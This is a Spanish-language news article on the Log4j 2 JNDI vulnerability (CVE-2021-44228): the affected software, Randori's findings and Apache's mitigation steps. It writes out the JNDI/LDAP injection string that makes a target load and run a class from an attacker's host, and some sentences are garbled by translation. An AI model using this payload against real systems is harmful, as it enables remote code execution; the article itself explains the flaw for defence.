Hace poco se dio a conocer la noticia de que fue identificada una vulnerabilidad crítica en Apache Log4j 2, el cual se caracteriza por ser un marco popular para organizar el registro en aplicaciones Java, que permite la ejecución de código arbitrario cuando se escribe un valor especialmente formateado en el registro en el formato «{jndi: URL}».
La vulnerabilidad es notable porque el ataque se puede llevar a cabo en aplicaciones Java que registran valores obtenidos de fuentes externas, por ejemplo, al mostrar valores problemáticos en mensajes de error.
Se observa que casi todos los proyectos que utilizan frameworks como Apache Struts, Apache Solr, Apache Druid o Apache Flink se ven afectados, incluidos Steam, Apple iCloud, clientes y servidores de Minecraft.
Se espera que la vulnerabilidad pueda conducir a una ola de ataques masivos a aplicaciones empresariales, repitiendo el historial de vulnerabilidades críticas en el marco, Apache Struts, que es una estimación aproximada utilizada en el 65% de las aplicaciones web de Fortune 100. Lista de la empresa aplicaciones web incluidos los intentos ya registrados de escanear la red en busca de sistemas vulnerables.
La vulnerabilidad permite la ejecución remota de código no autenticado. Log4j 2 es una biblioteca de registro de Java de código abierto desarrollada por Apache Foundation. Log4j 2 se usa ampliamente en muchas aplicaciones y está presente, como dependencia, en muchos servicios. Estos incluyen aplicaciones empresariales, así como numerosos servicios en la nube.
El equipo de ataque de Randori ha desarrollado un exploit funcional y ha podido aprovechar con éxito esta vulnerabilidad en los entornos de los clientes como parte de nuestra plataforma de seguridad ofensiva
Se puede acceder a la vulnerabilidad a través de una multitud de métodos específicos de la aplicación. Efectivamente, cualquier escenario que permita que una conexión remota suministre datos arbitrarios que una aplicación que utiliza la biblioteca Log4j escribe en archivos de registro es susceptible de explotación. Es muy probable que esta vulnerabilidad se explote en la naturaleza y es probable que afecte a miles de organizaciones. Esta vulnerabilidad representa un riesgo real significativo para los sistemas afectados.
El problema se ve agravado por el hecho de que ya se ha publicado un exploit funcional, pero aún no se han generado las correcciones para las ramas estables. Aún no se ha asignado el identificador CVE. La solución solo se incluye en la rama de prueba log4j-2.15.0-rc1 . Como solución para bloquear la vulnerabilidad, se recomienda establecer el parámetro Log4j2.formatMsgNoLookups en verdadero.
El problema se debió al hecho de que Log4j 2 admite el manejo de máscaras especiales «{}» en líneas de registro, en las que se pueden ejecutar consultas JNDI (Java Naming and Directory Interface).
Al analizar CVE-2021-44228, Randori ha determinado lo siguiente:
Las instalaciones predeterminadas de software empresarial ampliamente utilizado son vulnerables.
La vulnerabilidad se puede aprovechar de forma fiable y sin autenticación.
La vulnerabilidad afecta a múltiples versiones de Log4j 2.
La vulnerabilidad permite la ejecución remota de código cuando el usuario ejecuta la aplicación que utiliza la biblioteca.
El ataque se reduce a pasar una cadena con la sustitución «$ {jndi: ldap://example.com/a}», al procesar qué Log4j 2 enviará una solicitud LDAP para la ruta a la clase Java al atacante.com servidor. La ruta devuelta por el servidor del atacante (por ejemplo, http://example.com/Exploit.class) se cargará y ejecutará en el contexto del proceso actual, lo que permite al atacante lograr la ejecución de código arbitrario en el sistema con los derechos de la aplicación actual.
Finalmente, se menciona que si se encuentran anomalías, se recomienda que asuma que se trata de un incidente activo, que se ha visto comprometido y que responda en consecuencia. La actualización a las versiones parcheadas de Log4j 2 o las aplicaciones afectadas eliminará esta vulnerabilidad. Randori recomienda a cualquier organización que crea que puede verse afectada que se actualice urgentemente a una versión parcheada.
En la última actualización del equipo de Apache Log4j, recomiendan que las organizaciones hagan lo siguiente
- Actualizar a Log4j 2.15.0
- Para aquellos que no pueden actualizar a 2.15.0: En las versiones> = 2.10, esta vulnerabilidad se puede mitigar estableciendo la propiedad del sistema log4j2.formatMsgNoLookupso la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS en true.
- Para las versiones de 2,0-beta9 a 2.10.0, la mitigación es eliminar la JndiLookup clase de la ruta de clase: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Fuente: https://www.lunasec.io/